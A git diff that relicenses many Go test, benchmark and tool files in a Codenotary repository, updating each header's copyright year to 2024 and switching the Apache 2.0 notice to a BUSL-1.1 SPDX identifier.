a/test/document_storage_tests/documents_tests/actions/create_collections.go b/test/document_storage_tests/documents_tests/actions/create_collections.go index d45524ed3a..25525ebdeb 100644 --- a/test/document_storage_tests/documents_tests/actions/create_collections.go +++ b/test/document_storage_tests/documents_tests/actions/create_collections.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/actions/create_index.go b/test/document_storage_tests/documents_tests/actions/create_index.go index 2a436b0d6d..513a013c4d 100644 --- a/test/document_storage_tests/documents_tests/actions/create_index.go +++ b/test/document_storage_tests/documents_tests/actions/create_index.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/actions/get_collections.go b/test/document_storage_tests/documents_tests/actions/get_collections.go index 1169fc9cbe..322c449757 100644 --- a/test/document_storage_tests/documents_tests/actions/get_collections.go +++ b/test/document_storage_tests/documents_tests/actions/get_collections.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/actions/insert_documents.go b/test/document_storage_tests/documents_tests/actions/insert_documents.go index 260cdcedd5..d2db942175 100644 --- a/test/document_storage_tests/documents_tests/actions/insert_documents.go +++ b/test/document_storage_tests/documents_tests/actions/insert_documents.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/actions/search_documents.go b/test/document_storage_tests/documents_tests/actions/search_documents.go index 4a97dc81db..591968971a 100644 --- a/test/document_storage_tests/documents_tests/actions/search_documents.go +++ b/test/document_storage_tests/documents_tests/actions/search_documents.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/actions/session.go b/test/document_storage_tests/documents_tests/actions/session.go index 4535e0f993..f3a7f1b786 100644 --- a/test/document_storage_tests/documents_tests/actions/session.go +++ b/test/document_storage_tests/documents_tests/actions/session.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/create_collections_test.go b/test/document_storage_tests/documents_tests/create_collections_test.go index 6fea1bb057..4cf2323727 100644 --- a/test/document_storage_tests/documents_tests/create_collections_test.go +++ b/test/document_storage_tests/documents_tests/create_collections_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/create_indexes_test.go b/test/document_storage_tests/documents_tests/create_indexes_test.go index 9a8d866673..73b21d0bde 100644 --- a/test/document_storage_tests/documents_tests/create_indexes_test.go +++ b/test/document_storage_tests/documents_tests/create_indexes_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/delete_collections_test.go b/test/document_storage_tests/documents_tests/delete_collections_test.go index 46249cc78f..d6d4e0ae76 100644 --- a/test/document_storage_tests/documents_tests/delete_collections_test.go +++ b/test/document_storage_tests/documents_tests/delete_collections_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/insert_documents_test.go b/test/document_storage_tests/documents_tests/insert_documents_test.go index e798099f14..8e72e7ae48 100644 --- a/test/document_storage_tests/documents_tests/insert_documents_test.go +++ b/test/document_storage_tests/documents_tests/insert_documents_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/models/collections.go b/test/document_storage_tests/documents_tests/models/collections.go index 2292d73842..ab1712741a 100644 --- a/test/document_storage_tests/documents_tests/models/collections.go +++ b/test/document_storage_tests/documents_tests/models/collections.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/models/documents.go b/test/document_storage_tests/documents_tests/models/documents.go index 1ca1790fed..78d6bd3dcd 100644 --- a/test/document_storage_tests/documents_tests/models/documents.go +++ b/test/document_storage_tests/documents_tests/models/documents.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/models/index.go b/test/document_storage_tests/documents_tests/models/index.go index 893918a5ad..9009fb7b84 100644 --- a/test/document_storage_tests/documents_tests/models/index.go +++ b/test/document_storage_tests/documents_tests/models/index.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/models/search.go b/test/document_storage_tests/documents_tests/models/search.go index de7cd1cb93..0eb1e1cb50 100644 --- a/test/document_storage_tests/documents_tests/models/search.go +++ b/test/document_storage_tests/documents_tests/models/search.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/models/user.go b/test/document_storage_tests/documents_tests/models/user.go index c824a17dc8..de76528781 100644 --- a/test/document_storage_tests/documents_tests/models/user.go +++ b/test/document_storage_tests/documents_tests/models/user.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests/session_test.go b/test/document_storage_tests/documents_tests/session_test.go index 470abe53d1..2e024e59d1 100644 --- a/test/document_storage_tests/documents_tests/session_test.go +++ b/test/document_storage_tests/documents_tests/session_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests_deprecated/auth_test.go b/test/document_storage_tests/documents_tests_deprecated/auth_test.go index 86f25ba7b4..e4fa10ff2d 100644 --- a/test/document_storage_tests/documents_tests_deprecated/auth_test.go +++ b/test/document_storage_tests/documents_tests_deprecated/auth_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests_deprecated/collections_test.go b/test/document_storage_tests/documents_tests_deprecated/collections_test.go index 2cd0e74de2..9b5ad7abd5 100644 --- a/test/document_storage_tests/documents_tests_deprecated/collections_test.go +++ b/test/document_storage_tests/documents_tests_deprecated/collections_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests_deprecated/create_collections_test.go b/test/document_storage_tests/documents_tests_deprecated/create_collections_test.go index 08364e090a..1587ce4197 100644 --- a/test/document_storage_tests/documents_tests_deprecated/create_collections_test.go +++ b/test/document_storage_tests/documents_tests_deprecated/create_collections_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests_deprecated/documents_test.go b/test/document_storage_tests/documents_tests_deprecated/documents_test.go index 5e741e5c40..12a9dce331 100644 --- a/test/document_storage_tests/documents_tests_deprecated/documents_test.go +++ b/test/document_storage_tests/documents_tests_deprecated/documents_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests_deprecated/documents_test_utils.go b/test/document_storage_tests/documents_tests_deprecated/documents_test_utils.go index 6c2ba76c67..c25999eca4 100644 --- a/test/document_storage_tests/documents_tests_deprecated/documents_test_utils.go +++ b/test/document_storage_tests/documents_tests_deprecated/documents_test_utils.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests_deprecated/login_test.go b/test/document_storage_tests/documents_tests_deprecated/login_test.go index 69e20af3cb..024763565b 100644 --- a/test/document_storage_tests/documents_tests_deprecated/login_test.go +++ b/test/document_storage_tests/documents_tests_deprecated/login_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/document_storage_tests/documents_tests_deprecated/utils.go b/test/document_storage_tests/documents_tests_deprecated/utils.go index ba9e7b482e..630b142c94 100644 --- a/test/document_storage_tests/documents_tests_deprecated/utils.go +++ b/test/document_storage_tests/documents_tests_deprecated/utils.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/e2e/truncation/main.go b/test/e2e/truncation/main.go index b3d7064dab..d47d6ec4a5 100644 --- a/test/e2e/truncation/main.go +++ b/test/e2e/truncation/main.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/cmd/perf-test/main.go b/test/performance-test-suite/cmd/perf-test/main.go index f0bd9129f3..3a5448bdc9 100644 --- a/test/performance-test-suite/cmd/perf-test/main.go +++ b/test/performance-test-suite/cmd/perf-test/main.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/benchmark.go b/test/performance-test-suite/pkg/benchmarks/benchmark.go index a2b9fd382a..61eda4527e 100644 --- a/test/performance-test-suite/pkg/benchmarks/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/benchmark.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/format.go b/test/performance-test-suite/pkg/benchmarks/format.go index fe0b6bbad3..36f5bfd831 100644 --- a/test/performance-test-suite/pkg/benchmarks/format.go +++ b/test/performance-test-suite/pkg/benchmarks/format.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/format_test.go b/test/performance-test-suite/pkg/benchmarks/format_test.go index b72ac71d96..d00dfe844b 100644 --- a/test/performance-test-suite/pkg/benchmarks/format_test.go +++ b/test/performance-test-suite/pkg/benchmarks/format_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/hwstats.go b/test/performance-test-suite/pkg/benchmarks/hwstats.go index 2d28f4bd6e..9dc33a3477 100644 --- a/test/performance-test-suite/pkg/benchmarks/hwstats.go +++ b/test/performance-test-suite/pkg/benchmarks/hwstats.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/hwstats_test.go b/test/performance-test-suite/pkg/benchmarks/hwstats_test.go index decb44e9ff..0e5c21b5c8 100644 --- a/test/performance-test-suite/pkg/benchmarks/hwstats_test.go +++ b/test/performance-test-suite/pkg/benchmarks/hwstats_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/keytracker.go b/test/performance-test-suite/pkg/benchmarks/keytracker.go index 0ac0b8be56..7404d5c526 100644 --- a/test/performance-test-suite/pkg/benchmarks/keytracker.go +++ b/test/performance-test-suite/pkg/benchmarks/keytracker.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/keytracker_test.go b/test/performance-test-suite/pkg/benchmarks/keytracker_test.go index f008b04732..85c5d79f5e 100644 --- a/test/performance-test-suite/pkg/benchmarks/keytracker_test.go +++ b/test/performance-test-suite/pkg/benchmarks/keytracker_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/rand.go b/test/performance-test-suite/pkg/benchmarks/rand.go index a11349c6cf..185278abf9 100644 --- a/test/performance-test-suite/pkg/benchmarks/rand.go +++ b/test/performance-test-suite/pkg/benchmarks/rand.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/rand_test.go b/test/performance-test-suite/pkg/benchmarks/rand_test.go index ea7c55d88d..6d56053ec5 100644 --- a/test/performance-test-suite/pkg/benchmarks/rand_test.go +++ b/test/performance-test-suite/pkg/benchmarks/rand_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index 85b61952f2..b1c622d099 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/runner/benchmarks.go b/test/performance-test-suite/pkg/runner/benchmarks.go index 8b8f747a2c..e1114fa8c0 100644 --- a/test/performance-test-suite/pkg/runner/benchmarks.go +++ b/test/performance-test-suite/pkg/runner/benchmarks.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/runner/processinfo.go b/test/performance-test-suite/pkg/runner/processinfo.go index 23f7f522a8..3df8fa478d 100644 --- a/test/performance-test-suite/pkg/runner/processinfo.go +++ b/test/performance-test-suite/pkg/runner/processinfo.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/runner/results.go b/test/performance-test-suite/pkg/runner/results.go index 01452ed563..54614c3a46 100644 --- a/test/performance-test-suite/pkg/runner/results.go +++ b/test/performance-test-suite/pkg/runner/results.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/runner/runner.go b/test/performance-test-suite/pkg/runner/runner.go index 19adfc0e6f..d5454145d9 100644 --- a/test/performance-test-suite/pkg/runner/runner.go +++ b/test/performance-test-suite/pkg/runner/runner.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/performance-test-suite/pkg/runner/systeminfo.go b/test/performance-test-suite/pkg/runner/systeminfo.go index 16c93557d9..1b3d18aec8 100644 --- a/test/performance-test-suite/pkg/runner/systeminfo.go +++ b/test/performance-test-suite/pkg/runner/systeminfo.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/tools/long_running/stress_tool_worker_pool.go b/tools/long_running/stress_tool_worker_pool.go index e5c7e37097..6dd281dc7f 100644 --- a/tools/long_running/stress_tool_worker_pool.go +++ b/tools/long_running/stress_tool_worker_pool.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/tools/mkdb/main.go b/tools/mkdb/main.go index 3f9d033fa0..1f52eba462 100644 --- a/tools/mkdb/main.go +++ b/tools/mkdb/main.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS 